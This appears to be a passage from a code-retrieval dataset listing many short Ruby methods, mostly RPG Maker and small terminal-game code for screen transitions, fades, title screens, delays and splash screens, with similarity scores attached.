"def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end",
"def command_354\r\n SceneManager.goto(Scene_Title)\r\n Fiber.yield\r\n end",
"def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end",
"def delay\n sleep(2)\n end",
"def on_title_ok\n @actor.equip_title(@title_window.title)\n @status_window.refresh\n title_to_status\n end",
"def change_title\n @status_window.deactivate\n @title_window.select_last\n @title_window.show.activate\n @title_window.refresh\n @help_window.show\n end",
"def setup_screen_fadeout\n $game_troop.screen.start_fadeout(@acts[1] || 30)\n end",
"def main_end\r\n super\r\n # Execute transition\r\n Graphics.transition(40)\r\n # Prepare for transition\r\n Graphics.freeze\r\n # If battle test\r\n if $BTEST\r\n $scene = nil\r\n end\r\n end",
"def command_354\n $game_temp.next_scene = \"title\"\n return false\n end",
"def main_end\r\n # Refresh map\r\n $game_map.refresh\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n # If switching from battle test to any screen other than game over screen\r\n if $BTEST and not $scene.is_a?(Scene_Gameover)\r\n $scene = nil\r\n end\r\n end",
"def adjust_transition_text\n if @temporary_objects[:title].width > Window.width - (@margin * 2)\n length_per_char = @temporary_objects[:title].width / @temporary_objects[:title].text.length\n split_title = @temporary_objects[:title].text.split(' ')\n\n remove_from_temporary(:title)\n title_parts = []\n grouped_text = []\n grouped_text_length = 0\n split_title.each_index do |i|\n grouped_text_length += (split_title[i].length + 1) * length_per_char\n if grouped_text_length > Window.width - (@margin * 2)\n if i < split_title.length - 1\n text = grouped_text.join(' ').rstrip\n sym = \"divided_text_#{i}\".to_sym\n # make a new text object\n @temporary_objects[sym] = Text.new(text, {x: 0, y: 0, size: 20, z: 6, font: 'assets/fonts/PressStart2P.ttf'})\n \n title_parts << @temporary_objects[sym]\n\n grouped_text = []\n grouped_text << split_title[i]\n grouped_text_length = (split_title[i].length + 1) * length_per_char\n else\n text = grouped_text.join(' ').rstrip\n sym = \"divided_text_#{i}\".to_sym\n sym2 = \"divided_text_#{i + 1}\".to_sym\n\n # make a new text object with grouped_text\n @temporary_objects[sym] = Text.new(text, {x: 0, y: 0, size: 20, z: 6, font: 'assets/fonts/PressStart2P.ttf'})\n # make a new text object with split_title[i]\n @temporary_objects[sym2] = Text.new(split_title[i], {x: 0, y: 0, size: 20, z: 6, font: 'assets/fonts/PressStart2P.ttf'})\n\n title_parts << @temporary_objects[sym]\n title_parts << @temporary_objects[sym2]\n end\n else\n if i < split_title.length - 1\n grouped_text << split_title[i]\n else\n grouped_text << split_title[i]\n text = grouped_text.join(' ').rstrip\n sym = \"divided_text_#{i}\".to_sym\n # make a new text object with grouped_text\n @temporary_objects[sym] = Text.new(text, {x: 0, y: 0, size: 20, z: 6, font: 'assets/fonts/PressStart2P.ttf'})\n title_parts << @temporary_objects[sym]\n end\n end\n end\n\n positions = get_centered_positions(title_parts, 5)\n title_parts.each_index do |i|\n title_parts[i].x = positions[i][:x]\n title_parts[i].y = positions[i][:y]\n end\n end\n end",
"def delay(seconds); end",
"def delay(seconds); end",
"def delay; end",
"def delay; end",
"def delay; end",
"def command_to_title\n data = skip_title_data\n if !data.activate || !map_exists?(data.map_id)\n evex_command_to_title\n return\n end\n close_command_window\n fadeout_all\n SceneManager.reset\n end",
"def main_transition\r\n Graphics.transition\r\n end",
"def titleFadeOut _args\n \"titleFadeOut _args;\" \n end",
"def start\n # start a timer on scene load\n @timer.reset_timer\n case @scene\n when 'intro'\n start_intro\n when 'level'\n start_level\n when 'transition'\n start_transition\n when 'credits'\n start_credits\n end\n end",
"def update_title\n\n # Update the logo sprite\n @logo_sprite.update\n\n # And the prompt label(s)\n drift_x = @args.grid.center_x + 15.randomize(:ratio, :sign)\n drift_y = 400 + 5.randomize(:ratio, :sign)\n\n @prompt.each_with_index do |label, idx|\n\n # If we're stationary, pick a new random location to drift to\n label.movable_location(drift_x, drift_y - (idx * 75), 30) unless label.movable_moving?\n\n # And lastly, update it\n label.update\n\n end\n\n # And see if the user clicks on the button\n @button_sprite.update\n if @args.inputs.mouse.click &&\n @args.inputs.mouse.click.point.x.between?(@args.grid.center_x - 128, @args.grid.center_x + 128) &&\n @args.inputs.mouse.click.point.y.between?(128, 192)\n\n # Set the timer running from this point\n @args.state.vertices.start_tick = @args.tick_count\n\n # Set the shape count to zero\n @args.state.vertices.shape_count = 0\n\n # Start the right music\n @audio_handler.play('vertices/sounds/play.ogg')\n\n # And flag ourselves as running\n @args.state.vertices.running = true\n\n end\n\n end",
"def on_load_success\n fadeout_all\n $game_system.on_after_load\n SceneManager.goto(Scene_Map)\n end",
"def start_scene; end",
"def delay(seconds)\n sleep(seconds)\n end",
"def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end",
"def wait_for_title(exit)\n waited = 0\n [0.25, 0.5, 1, 2, 4, 8, 16].each do |delay|\n if page_title =~ /-/\n title = page_title.gsub(/[-].+/, '').strip\n unless title.empty?\n puts \"Waited for page title for #{waited} seconds.\"\n return title\n end\n end\n sleep(delay)\n waited += delay\n end\n fail(\"Waited for page title for #{waited} seconds. Page title not found.\") if exit\n end",
"def wait_for_title(page_title)\n start = Time.now\n wait_until(Utils.medium_wait) { title == \"#{page_title} | BOA\" }\n logger.debug \"Page title updated in #{Time.now - start} seconds\"\n end",
"def delay_1() sleep(3) end",
"def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end",
"def play_name_animation(name)\n 3.times do |i|\n puts \"\\e[H\\e[2J\" \n letterify_name(name)\n sleep(0.3)\n puts \"\\e[H\\e[2J\" \n blankify_name(name)\n sleep(0.3)\n end\nend",
"def wait_animation\n sleep 0.8\n end",
"def go_game\n #RPG::BGM.fade(30)\n #Graphics.fadeout(30)\n #Graphics.frame_count = 0\n DataManager.autosave(true, false)\n SceneManager.goto(Scene_Map)\n #$game_system.on_after_load\n end",
"def intro\nputs\"You are sent to prison for a crime you are not responsable, but soon a path is showing up...\"\nsleep (5)\nend",
"def setup_fadein\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n sprite.fadein(@acts[1])\n end",
"def on_load_success\r\n Sound.play_load\r\n fadeout_all\r\n $game_system.on_after_load\r\n SceneManager.goto(Scene_Map)\r\n end",
"def update_class_text\n if $scene != @last_scene\n @last_scene = $scene\n @class_text.text = \"Current scene : #{$scene.class}\"\n end\n end",
"def main_begin\n create_graphics\n sort_sprites\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n end",
"def transitions; end",
"def title_banner_phase_update\n if @title_banners && !@title_banners.empty?\n if @tickdown == 200\n @title_banners.each {|banner| banner.move(-250,banner.y,100,20)}\n @header_banner.move(0,0,0,10)\n @tickdown += 1\n elsif @tickdown >= 225\n @tickdown = 0\n dispose_banners\n elsif @waiting > 0\n @waiting -= 1\n @header_banner.update_move\n return\n else\n update_banners \n @tickdown += 1\n end\n end\n end",
"def switched_to_main_rmxp_scene\n if $game_temp.gameover\n $scene = Scene_Gameover.new\n return true\n elsif $game_temp.to_title\n $scene = Scene_Title.new\n return true\n elsif $game_temp.transition_processing\n $game_temp.transition_processing = false\n if $game_temp.transition_name.empty?\n Graphics.transition(20)\n else\n Graphics.transition(60, RPG::Cache.transition($game_temp.transition_name))\n end\n end\n return false\n end",
"def show_action_sequences(targets, item, subj)\n tsbs_action_init(targets, item, subj)\n tsbs_action_pre(targets, item, subj)\n tsbs_action_main(targets, item, subj)\n tsbs_action_post(targets, item, subj)\n tsbs_action_end(targets, item, subj)\n $game_temp.backdrop.reset_transition_flags\n wait(tsbs_wait_dur)\n end",
"def update_window_title(new_title)\n hc_main_view.title = new_title\n end",
"def setTitleEffect _obj, _args\n \"_obj setTitleEffect _args;\" \n end",
"def post_transfer\n case $game_temp.fade_type\n when 0\n Graphics.wait(fadein_speed / 2)\n fadein(fadein_speed)\n when 1\n Graphics.wait(fadein_speed / 2)\n white_fadein(fadein_speed)\n end\n create_location_window unless $game_map.display_name.empty?\n @map_name_window.open if @map_name_window\n end",
"def setup_timestop\n return unless PONY::ERRNO::check_sequence(current_act)\n @acts[1].times { SceneManager.update_basic }\n end",
"def title_screen\n TitleScreen.new(ui, options).render\n quit?\n end",
"def call_load_screen\n SceneManager.call(Scene_Load)\n end",
"def loading_screen(string) \n string.length.times do |i| # Iterates over each index in a given string\n # Clear the screen to provide an animated effect.\n clear\n \n # Please wait header \n puts HEADER_LINE\n puts \"Please Wait...\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\n \n # Displays all characters in the string up to the index being iterated over.\n puts string[0, i].center(HEADER_LENGTH)\n sleep(0.2)\n end\nend",
"def intro\n clear_screen\n print \"Today is \"\n puts Time.now\n sleep(2)\n puts\"\\nYou are travelling by motorcycle on a dirt road in Thailand, when all of a sudden you swerve and hit a ditch. Knocking yourself unconcious...\\n\\n\"\n sleep (5)\nend",
"def delay_time\n end",
"def loading_screen(string) \n string.length.times do |i|\n clear\n \n # Please wait header \n puts HEADER_LINE\n puts \"Please Wait...\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\n puts string[0, i].center(HEADER_LENGTH)\n sleep(0.2)\n end\nend",
"def update\n @timer.update(Window.fps)\n case @scene\n when 'intro'\n update_intro\n when 'level'\n update_level\n when 'transition'\n update_transition\n when 'credits'\n update_credits\n end\n end",
"def story_time\n touch(@@detailsheader)\n sleeper(30)\n end",
"def setup_transition\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n Fiber.yield\n name = \"Graphics/Pictures/\" + @acts[1]\n dur = @acts[2]\n vague = @acts[3] || 40\n Graphics.transition(dur, name, vague)\n end",
"def pre_transfer\n @map_name_window.close if @map_name_window\n case $game_temp.fade_type\n when 0\n fadeout(fadeout_speed)\n when 1\n white_fadeout(fadeout_speed)\n end\n end",
"def delay\n puts \"Delaying ...\"\n sleep 1\n end",
"def wait_for_page_title()\n wait_for :page_title, \"Error waiting for page title to load\"\n end",
"def wait_for_page_title()\n wait_for :page_title, \"Error waiting for page title to load\"\n end",
"def startSceneAnimation\n # Position for initial transition\n black = Sprite.new(@viewport)\n black.z = 99999\n black.full_rect(Color.black)\n # additional player sprite positioning for the Safari Zone\n if @safaribattle\n ox = []; oy = []\n for i in [email protected]\n ox.push(@sprites[\"player_#{i}\"].x)\n oy.push(@sprites[\"player_#{i}\"].y)\n @sprites[\"player_#{i}\"].x -= 240\n @sprites[\"player_#{i}\"].y += 120\n end\n end\n # Play battle entrance, register next vector position\n vector = EliteBattle.get_vector(:MAIN, @battle)\n @vector.force\n @vector.set(vector)\n @vector.inc = 0.1\n # fade necessary sprites into scene\n for i in 0...22.delta_add\n # player sprite for Safari Zone\n if @safaribattle\n for k in [email protected]\n @sprites[\"player_#{k}\"].opacity += 25.5.delta_sub(false)\n @sprites[\"player_#{k}\"].zoom_x = @vector.zoom1\n @sprites[\"player_#{k}\"].zoom_y = @vector.zoom1\n @sprites[\"player_#{k}\"].x += 10 if @sprites[\"player_#{k}\"].x < ox[k]\n @sprites[\"player_#{k}\"].y -= 5 if @sprites[\"player_#{k}\"].y > oy[k]\n end\n end\n # opposing trainer sprites\n if @battle.opponent && i > 11.delta_add\n for t in [email protected]\n @sprites[\"trainer_#{t}\"].tone.all += 12.75.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.all < 0\n @sprites[\"trainer_#{t}\"].tone.gray += 12.75.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.gray < 0\n end\n # fade in player battler when follower is out\n if !EliteBattle.follower(@battle).nil? && !@safaribattle\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all < 0\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray < 0\n end\n end\n # fades screen from black\n black.opacity -= 32.delta_sub(false) if black.opacity > 0\n self.wait(1, true)\n end\n if @safaribattle\n for i in [email protected]\n @sprites[\"player_#{i}\"].x = ox[i]\n @sprites[\"player_#{i}\"].y = oy[i]\n end\n end\n @vector.inc = 0.2\n # party line up animation\n if @battle.trainerBattle? && !EliteBattle.get(:smAnim)\n pbShowPartyLineup(0)\n pbShowPartyLineup(1)\n end\n # show databox for follower\n if !EliteBattle.follower(@battle).nil? && !@safaribattle\n @sprites[\"dataBox_#{EliteBattle.follower(@battle)}\"].appear if !EliteBattle.get(:smAnim)\n end\n # Play cry for wild Pokémon\n if @battle.wildBattle?\n @battle.pbParty(1).each_with_index do |pkmn, i|\n break if EliteBattle.get(:smAnim)\n playBattlerCry(@battlers[i*2 + 1])\n end\n pbShowPartyLineup(0) if EliteBattle::SHOW_LINEUP_WILD && !EliteBattle.get(:smAnim) && !@safaribattle\n # makes databoxes for wild battles appear\n for m in [email protected](1).length\n next if !@sprites[\"dataBox_#{m*2 + 1}\"]\n @sprites[\"dataBox_#{m*2 + 1}\"].appear if !EliteBattle.get(:smAnim)\n end\n # fades tone from black\n for i in 0...16.delta_add\n for m in [email protected](1).length\n next if !@sprites[\"pokemon_#{m*2 + 1}\"]\n @sprites[\"pokemon_#{m*2 + 1}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{m*2 + 1}\"].tone.all < 0\n @sprites[\"pokemon_#{m*2 + 1}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{m*2 + 1}\"].tone.gray < 0\n end\n # fade in player battler when follower is out\n if !EliteBattle.follower(@battle).nil?\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.all < 0\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone.gray < 0\n end\n self.wait(1, true)\n end\n end\n # for trainer sprites\n if @battle.trainerBattle?\n # calculates the number of frames of the sprite\n frames = []\n for t in [email protected]\n frames.push(@sprites[\"trainer_#{t}\"].totalFrames*2)\n end\n # animates through frames\n for i in 0...(frames.max.delta_add + 1)\n for t in [email protected]\n @sprites[\"trainer_#{t}\"].play\n # fades tone from black\n @sprites[\"trainer_#{t}\"].tone.all += 25.5.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.all < 0\n @sprites[\"trainer_#{t}\"].tone.gray += 25.5.delta_sub(false) if @sprites[\"trainer_#{t}\"].tone.gray < 0\n end\n self.wait(1, true)\n end\n @integratedVSSequence.start if @integratedVSSequence\n else\n # show shiny animation for wild Pokémon\n @battle.pbParty(1).each_with_index do |pkmn, i|\n next if !@sprites[\"pokemon_#{i*2 + 1}\"]\n @sprites[\"dataBox_#{i*2 + 1}\"].inposition = true\n battler = @battlers[i*2 + 1]\n if shinyBattler?(battler) && @battle.battlescene && !EliteBattle.get(:smAnim)\n pbCommonAnimation(\"Shiny\", battler, nil)\n end\n end\n end\n # animates Sun/Moon styled VS sequence for trainer\n @smTrainerSequence.start if @smTrainerSequence\n # animates special VS sequence for species\n @smSpeciesSequence.start if @smSpeciesSequence\n end",
"def on_appear\n d = EM::DefaultDeferrable.new\n d.errback do \n screen = mm_drawerController.send(:week_screen)\n mm_drawerController.centerViewController = screen\n end\n d.timeout 2 \n end",
"def update_pre_transition_sprite\n if @counter == FLASH_TRANSITION_DURATION\n @viewport.color.set(0, 0, 0, 0)\n @transition_sprite.visible = true\n else\n @transition_sprite.src_rect.x += @transition_sprite.width\n if @transition_sprite.src_rect.x >= @transition_sprite.bitmap.width\n @transition_sprite.src_rect.y += @transition_sprite.height\n @transition_sprite.src_rect.x = 0\n end\n end\n end",
"def title\n puts \"-----------------------\"\n title = \"Blackjack\".colorize(color: :blue)\n puts \"-------\" + title.blink + \"-------\"\n puts \"-----------------------\"\n puts \" Press C for Controls\"\n puts \"***********************\".colorize(color: :green)\n end",
"def pause; self.app.pause end",
"def delay milliseconds\n\n # Do nothing with zero delay\n return if milliseconds == 0.0\n\n # Apply delay to all subtitles\n @subtitles.each do | subtitle |\n subtitle.delay milliseconds\n end\n end",
"def setup_fadeout\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n sprite.fadeout(@acts[1])\n end",
"def launch_UPgame_4\n sleep 0.5\n scroll_to_collection_view_item_with_mark('casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent', {:scroll_position => :right})\n sleep 1\n touch \"* marked:'casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent'\"\n sleep 1\n touch \"* marked:'Play for Fun'\"\n wait_for_element_exists \"webView css:'.interface-toggleSwitch_loadAnimation'\", :timeout => 10\n\n touch (\"webView css:'.interface-toggleSwitch_loadAnimation'\")\n sleep 3\n touch \"webView css:'.interface-homeButton_baseButton'\"\n sleep 0.5\n\n\n end",
"def title_to_status\n @title_window.hide.deactivate.unselect\n @help_window.hide\n @status_window.activate\n set_controls_help\n end",
"def start_screen_appear\n mp \"bringing up start screen\"\n start_screen_video\n view_object.addStartscreenappearAnimationReverse(false, totalDuration: 0.5)\n #view_object.addDialselection5to1AnimationReverse(false, totalDuration: 0.5)\n cueserver.spectrum_1\n end",
"def transition_time\n end",
"def test_fadeIn_Speed\n w = Window_Base.new(200, 50, 100, 50)\n @windows.push(w)\n w.animationSpeed = 2000\n w.visible = false\n w.fadeIn()\n return true\n end",
"def SS1_3 args\r\n\t#Outputs text\r\n\targs.outputs.labels << [580, 400, \"Continue\", 4]\r\n\t\r\n\t#Set continue button position\r\n\tcontinueButton = [560, 340, 150, 100, 0, 0, 0, 255]\r\n\targs.outputs.borders << continueButton\r\n\t\r\n\r\n\t\r\n\t#Saves last mouse click data\r\n\tif args.inputs.mouse.click\r\n\t\targs.state.last_mouse_click = args.inputs.mouse.click\r\n\t\t#Stores position of mouse\r\n\t\targs.state.pos = args.inputs.mouse.position\r\n\tend\r\n\t\r\n\t#If continue button clicked, transitions to SS1\r\n\tif args.state.pos.inside_rect? continueButton\r\n\t\t#Switches player turn\r\n\t\tif args.state.player_turn == 1\r\n\t\t\targs.state.player_turn = 2\r\n\t\telsif args.state.player_turn == 2\r\n\t\t\targs.state.player_turn = 1\r\n\t\telse\r\n\t\t\targs.outputs.labels << mylabel(args, 552, 24, \"player_turn transition\")\r\n\t\tend\r\n\t\t\r\n\t\t#Resets mouse position\r\n\t\targs.state.last_mouse_click = nil\r\n\t\targs.state.pos = nil\r\n\r\n\t\t#Returns to screen select 1\r\n\t\targs.state.screen_select = 1.1\r\n\r\n\t\tif args.state.player_turn == 1\r\n\t\t\tif args.state.Cat_laps == args.state.total_laps\r\n\t\t\t\targs.state.screen_select = 1.4\r\n\t\t\tend\r\n\t\telsif args.state.player_turn == 2\r\n\t\t\tif args.state.Toad_laps == args.state.total_laps\r\n\t\t\t\targs.state.screen_select = 1.4\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\r\n\t#Initiate battle_ready check for battle_mode\r\n\tbattle_ready args, args.state.player_turn\r\nend",
"def play_title_music\n $data_system.title_bgm.play\n RPG::BGS.stop\n RPG::ME.stop\n end",
"def play_title_music\n $data_system.title_bgm.play\n RPG::BGS.stop\n RPG::ME.stop\n end",
"def update_pre_transition_flash\n if @counter % 15 == 0\n col = @viewport.color.red == 0 ? 255 : 0\n @viewport.color.set(col, col, col)\n end\n @viewport.color.alpha = (Math.sin(2 * Math::PI * @counter / 30).abs2.round(2) * 180).to_i\n end",
"def set_title\n @title = \"#{controller_name}.#{action_name}.title\"\n end",
"def battletest_sceneswitch\r\n # Play battle start SE\r\n $game_system.se_play($data_system.battle_start_se)\r\n # Play battle BGM\r\n $game_system.bgm_play($game_system.battle_bgm)\r\n # Switch to battle screen\r\n $scene = Scene_Battle.new\r\n end",
"def transition!(name, &block)\n options = @transitions[name]\n @style.animation = [options[:animation_name],\n options[:duration],\n options[:delay], 'both'].join(' ')\n @transition_callback = block\n end",
"def delay\n @delay ||= 600\n end",
"def switch_title _value=0\n send_cmd(\"switch_title #{_value}\")\n end",
"def window_changed(state)\n $marathon.sleepForSlowPlay\n $marathon.windowChanged(state)\nend",
"def delay\n sleep(rand / 100)\n end",
"def pause; end",
"def intro\n system 'clear'\n intro = PicDisplay.new\n intro.logo\n sleep(4)\n welcome\n end",
"def titleScreen()\n if $enableMusic\n titleMusic = fork{ exec 'afplay', \"./music/title.mp3\" }\n end\n puts `clear`\n puts drawTitle().colorize(:red)\n prompt = TTY::Prompt.new\n menuChoice = prompt.select(\"What would you like to do?\", [\"Play Hangman\", \"Credits\", \"Toggle Music\", \"Quit\"])\n if menuChoice == \"Play Hangman\"\n cancelMusic()\n puts `clear`\n doSpinner()\n puts `clear`\n playGame()\n elsif menuChoice == \"Credits\"\n puts `clear`\n credits()\n elsif menuChoice == \"Toggle Music\"\n if $enableMusic\n stopMusic = fork{exec 'killall', 'afplay'}\n $enableMusic = false\n elsif !$enableMusic\n $enableMusic = true\n end\n titleScreen()\n elsif menuChoice == \"Quit\"\n cancelMusic()\n puts `clear`\n exit!\n end\nend",
"def begin_mission_text\n typing_tabbed(\"txt/caveats.txt\")\n tab; \"We recommend avoiding the latter\".typing; \"...\".typing(0.75)\n line; line; sleep 2\n\n tab; \"We'll reach the LZ in just a moment\".typing; line\n tab; \"Godspeed, Agent #{codename}. We're counting on you...\".typing; line\n\n press_enter { %Q(Press 'ENTER' to begin your mission and start the timer.) }\n end",
"def starting_animation\n x = 49\n string = \" \" * 2 + @goal + \" \" * 46 + @player + \"\\u{1f4b0} \" + @start\n 9.times do\n system('clear')\n insert_sky\n string[x-1] = @player\n string[x] = \"\\u{1f4b0}\"\n string[x+1] = \" \"\n string[x+2] = \" \"\n puts string\n insert_landscape\n x -= 1\n sleep 0.1\n end\n end",
"def set_page_title(title)\n\t\t@page_title = @current_action.titleize + title\n\tend",
"def display_poison_animation\n Audio.se_play('Audio/SE/psn')\n $game_screen.start_flash(GameData::Colors::PSN, 20)\n $game_screen.start_shake(1, 20, 2)\n end"
] |
[
"0.68818",
"0.6810122",
"0.66802955",
"0.6589058",
"0.6448279",
"0.643332",
"0.64168847",
"0.60103136",
"0.59342736",
"0.58851063",
"0.58148825",
"0.58069956",
"0.5803457",
"0.5787647",
"0.57708436",
"0.57388866",
"0.57083195",
"0.5704708",
"0.566102",
"0.5647868",
"0.5640495",
"0.5618256",
"0.5584236",
"0.5577045",
"0.5577045",
"0.55595475",
"0.55595475",
"0.55595475",
"0.5559518",
"0.55468625",
"0.55386484",
"0.5526827",
"0.5523809",
"0.5478887",
"0.54691607",
"0.54479396",
"0.53578717",
"0.53518605",
"0.5337273",
"0.5335034",
"0.53288",
"0.53241444",
"0.5299805",
"0.52952886",
"0.528357",
"0.5282027",
"0.526475",
"0.52614623",
"0.5259736",
"0.5249053",
"0.52300584",
"0.522492",
"0.51863986",
"0.51823264",
"0.5176535",
"0.51681525",
"0.5167082",
"0.516349",
"0.51547676",
"0.5139013",
"0.5134234",
"0.5125259",
"0.5122744",
"0.51152295",
"0.5082794",
"0.50770134",
"0.5071992",
"0.50704926",
"0.5061144",
"0.5061144",
"0.5060294",
"0.5060208",
"0.5040289",
"0.50375307",
"0.5022528",
"0.50163645",
"0.5008779",
"0.49907845",
"0.49895224",
"0.49862784",
"0.49819216",
"0.49818859",
"0.496545",
"0.49650443",
"0.49650443",
"0.49627122",
"0.4959492",
"0.49570265",
"0.4954871",
"0.49492416",
"0.49415916",
"0.494017",
"0.4908491",
"0.49084464",
"0.4902984",
"0.48979458",
"0.48939204",
"0.48831025",
"0.4882188",
"0.48636678"
] |
0.8210427
|
0
|
new method: Transition to Splash Screen
|
def goto_splash
fadeout_all
SceneManager.goto(Scene_Splash)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def splash_page\n end",
"def main_menu_runner\n\n splash\n\n login_menu_display\n\n end",
"def makeSplash\n clearScreen\n splash = ConsoleSplash.new(15,70)\n splash.write_header(\"Welcome to Sokoban\",\"Ben Cornforth\",\"Alpha Build, November 2015\",{:nameFg=>:green,:authorFg=>:green, :versionFg=>:green, :bg=>:black})\n splash.write_horizontal_pattern(\"/*\",{:fg=>:white, :bg=>:black})\n splash.write_vertical_pattern(\"/\",{:fg=>:orange, :bg=>:black})\n splash.splash\n if pressKey != ''\n menuScreen\n end\nend",
"def set_splashscreen\n @splashscreen = Splashscreen.find(params[:id])\n end",
"def main_end\r\n super\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n end",
"def splash\n @phone, @prefix = classify_phone\n @items = case @prefix\n when 'webkit' then $WK_ITEMS\n when 'touch' then $TO_ITEMS\n when 'basic' then $BA_ITEMS\n end\n @theme = 'brownell'\n render :template => 'home/splash', :layout => @prefix\n end",
"def setup_screen_fadein\n $game_troop.screen.start_fadein(@acts[1] || 30)\n end",
"def splash\n puts <<-'SPLASH'\n\n\n _________ __ __ ______ _________ _______ ______\n /________/\\/_/\\/_/\\ /_____/\\ /________/\\ /______/\\ /_____/\\\n \\__.::.__\\/\\:\\ \\:\\ \\\\::::_\\/_\\__.::.__\\/ \\::::__\\/__\\:::_ \\ \\\n /_\\::\\ \\ \\:\\ \\:\\ \\\\:\\/___/\\ \\::\\ \\ \\:\\ /____/\\\\:\\ \\ \\ \\\n \\:.\\::\\ \\ \\:\\ \\:\\ \\\\_::._\\:\\ \\::\\ \\ \\:\\\\_ _\\/ \\:\\ \\ \\ \\\n \\: \\ \\ \\ \\:\\_\\:\\ \\ /____\\:\\ \\::\\ \\ \\:\\_\\ \\ \\ \\:\\_\\ \\ \\\n \\_____\\/ \\_____\\/ \\_____\\/ \\__\\/ \\_____\\/ \\_____\\/\n\n\n JUST GO: The world's greatest social event planning calendar app.\n\n\n SPLASH\n end",
"def init()\n # Splash screen\n splash = ConsoleSplash.new(25,88)\n splash.write_header(\"Flood-It\", \"Huzaifa Ahmed\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n\n # Press enter to continue\n gets\n\n # Load the main menu\n display_menu\nend",
"def nadar; 'Splash splash splash...'; end",
"def main_end\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n end",
"def start_splash\n # Clear the console\n puts \"\\e[H\\e[2J\" \n \n # Create a new splash object \n splash = ConsoleSplash.new(13, 40) # 13 lines, 40 columns\n \n # Add header to the splash console\n splash.write_header(\"Welcome to Flood-It\", \"Georgica Bors\", \"1.0\")\n \n # Add text to the splash console\n splash.write_center(-3, \"<Press enter to continue>\")\n \n # Select the pattern of the border of the splash screen\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n \n # Draw the splash screen\n splash.splash\n \nend",
"def splashScreen(width, height)\n splash = ConsoleSplash.new(height, width);\n splash.write_header(\"Welcome to Flood-It\", \"Jake Sturgeon\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n puts \"\"\nend",
"def after_sign_in_path_for(resource)\n splash_page\n end",
"def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end",
"def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end",
